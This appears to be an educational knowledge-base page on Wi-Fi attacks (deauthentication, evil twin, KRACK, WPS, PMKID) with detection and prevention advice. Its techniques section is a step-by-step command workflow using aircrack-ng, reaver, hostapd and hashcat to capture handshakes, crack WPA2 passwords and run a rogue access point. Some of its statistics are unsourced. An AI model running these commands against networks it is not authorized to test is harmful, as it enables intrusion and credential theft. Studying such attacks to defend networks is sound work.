Overview Attack Types Techniques Tools Demo Detection Prevention Legal Resources

Wireless Attacks Guide

What are Wireless Attacks?

Wireless attacks are malicious activities targeting Wi-Fi networks (802.11) to gain unauthorized access, intercept traffic, or disrupt services. Attackers exploit weaknesses in WPA/WPA2/WPA3 encryption, rogue access points (Evil Twin), deauthentication attacks (disconnecting clients), and brute force password cracking (WPA handshake capture). Wireless attacks are common on public Wi-Fi (airports, coffee shops, hotels) and poorly secured home/corporate networks.

Attack Prevalence: 70% of Wi-Fi networks are vulnerable to KRACK attack (CVE-2017-13077). 50% of public Wi-Fi networks have weak encryption (WEP, WPA-TKIP). Average cost of Wi-Fi compromise: $500,000+.

70%
Networks Vulnerable to KRACK
50%
Public Wi-Fi Weak Encryption
$500K+
Average Breach Cost

Common targets of wireless attacks:

Types of Wireless Attacks

Deauthentication Attack (Deauth)

Attacker sends deauthentication frames (802.11 management frames) to disconnect clients from AP. Forces victim to reconnect → attacker captures 4-way handshake for password cracking (WPA/WPA2). Tool: aireplay-ng (aireplay-ng -0 10 -a AP_MAC -c Client_MAC wlan0mon).

Handshake Capture

Evil Twin (Rogue Access Point)

Attacker creates fake access point with same SSID (name) as legitimate network. Victim connects to evil twin, attacker performs MitM (capture credentials, inject malware). Uses captive portal to steal passwords (fake login page).

Credential Theft

KRACK Attack (Key Reinstallation Attack)

Exploits WPA2 4-way handshake vulnerability (CVE-2017-13077-13082). Attacker forces client to reinstall encryption key, allowing decryption of WPA2 traffic. Affects all WPA2 devices (2017).

Encryption Bypass

WPA/WPA2 Password Cracking

Capture 4-way handshake (EAPOL frames) via deauth attack. Crack password with dictionary/brute force (aircrack-ng, hashcat, John the Ripper). Wordlists: rockyou.txt, SecLists, crackstation.

Password Cracking

WPS PIN Brute Force (Reaver)

Exploits Wi-Fi Protected Setup (WPS) PIN vulnerability. 8-digit PIN can be brute forced in 2-4 hours (11,000 attempts). Reaver tool: reaver -i wlan0mon -b BSSID -vv.

WPS Exploit

PMKID Attack (WPA3/WPA2)

Captures PMKID (Pairwise Master Key Identifier) from AP without requiring client deauth. Faster than traditional 4-way handshake capture. Tool: hcxdumptool + hashcat.

Modern Attack

Wireless Attack Techniques

// Wireless attack tools (Aircrack-ng suite) // 1. Enable monitor mode on wireless interface sudo airmon-ng start wlan0 sudo airmon-ng check kill # Kill interfering processes // 2. Scan for nearby Wi-Fi networks sudo airodump-ng wlan0mon // 3. Capture 4-way handshake (specific AP and channel) sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon // 4. Deauthentication attack (force client to reconnect) sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon // 5. Crack WPA2 password (dictionary attack) sudo aircrack-ng -w rockyou.txt capture-01.cap // 6. Evil Twin (rogue AP - hostapd) sudo hostapd hostapd.conf # Fake AP with same SSID sudo dnsmasq -C dnsmasq.conf # DHCP server + captive portal // 7. WPS PIN brute force (Reaver) sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv // 8. PMKID attack (hcxdumptool + hashcat) sudo hcxdumptool -i wlan0mon -o capture.pcapng sudo hcxpcapngtool -o hash.hccapx capture.pcapng hashcat -m 22000 hash.hccapx rockyou.txt

Wireless Attack Tools

Aircrack-ng Suite

Complete suite for Wi-Fi security auditing. Tools: airmon-ng (monitor mode), airodump-ng (packet capture), aireplay-ng (deauth attack, packet injection), aircrack-ng (password cracking), airbase-ng (Evil Twin).

Kismet (Wi-Fi Sniffer)

Wireless network detector, sniffer, and IDS. Passive detection of hidden networks, client tracking, and GPS mapping.

Wifite (Automated Tool)

Automated wireless attack tool (Python). Automates: WPS PIN brute force, WPA handshake capture, PMKID attack, and dictionary cracking.

Reaver (WPS Brute Force)

Exploits WPS PIN vulnerability (Wi-Fi Protected Setup). Brute forces 8-digit PIN in 2-10 hours.

hashcat (GPU Password Cracking)

High-speed password cracking using GPU (NVIDIA CUDA, AMD OpenCL). Cracks WPA2 handshakes (hashcat -m 22000) at 500k-1M hashes/sec.

Wireless Attack Simulation (Deauth + KRACK)

This demonstration simulates a deauthentication attack to capture WPA2 handshake and crack the password:

Click "Simulate Wireless Attack" to see deauthentication and password cracking

This is a simulated demonstration. Real Wi-Fi attacks can capture WPA handshakes, crack passwords, and decrypt traffic. Protect yourself by using WPA3 (not WPA2), strong passwords (12+ characters, complex), disabling WPS, and using VPN on public Wi-Fi.

Detecting Wireless Attacks

Deauthentication Attack Detection

Monitor for excessive deauthentication frames (IEEE 802.11 management). WIDS/WIPS (Wireless Intrusion Detection) alerts: aireplay-ng deauth attack. Snort rule: content:"|C0 00|" (deauth frame).

Evil Twin Detection (Rogue AP)

Detect duplicate SSID with different BSSID (MAC address). Kismet, WIDS, or custom scanning (airmon-ng + airodump-ng). Monitor for AP with same SSID but lower signal strength.

WPS Lockout Detection

Reaver brute force causes WPS lockout (AP locks WPS after failed attempts). Detected via syslog, AP logs.

Preventing Wireless Attacks

Use WPA3 (Not WPA2)

WPA3 replaces WPA2 with Simultaneous Authentication of Equals (SAE) - resistant to dictionary attacks. WPA3-Enterprise uses 192-bit encryption (CNSA suite). WPA3 mandatory for new devices (Wi-Fi Alliance, 2020).

Strong Wi-Fi Passwords (12+ characters)

Use random 12+ character passwords (uppercase, lowercase, numbers, symbols). Avoid dictionary words, common patterns ("password123"). Example: "K9#mPx2$qL7@vR5".

Disable WPS (Wi-Fi Protected Setup)

WPS PIN brute force takes 2-10 hours. Disable WPS in router settings (Web UI). WPS is enabled by default on 50% of routers.

Use VPN on Public Wi-Fi

VPN encrypts all traffic (including Wi-Fi data) between device and VPN server. Prevents MitM even on compromised Wi-Fi.

Best Practice - WPA3 + Strong Password + VPN: Use WPA3 (not WPA2) for maximum encryption strength. Use random 12+ character passwords. Disable WPS (Wi-Fi Protected Setup). Use VPN on public Wi-Fi.

Further Resources

Aircrack-ng Documentation

Official documentation: WPA handshake capture, WEP cracking, PMKID attack.

KRACK Attack Details (krackattacks.com)

Official KRACK attack website: vulnerability details, affected devices, patches.

← Back to Knowledge Base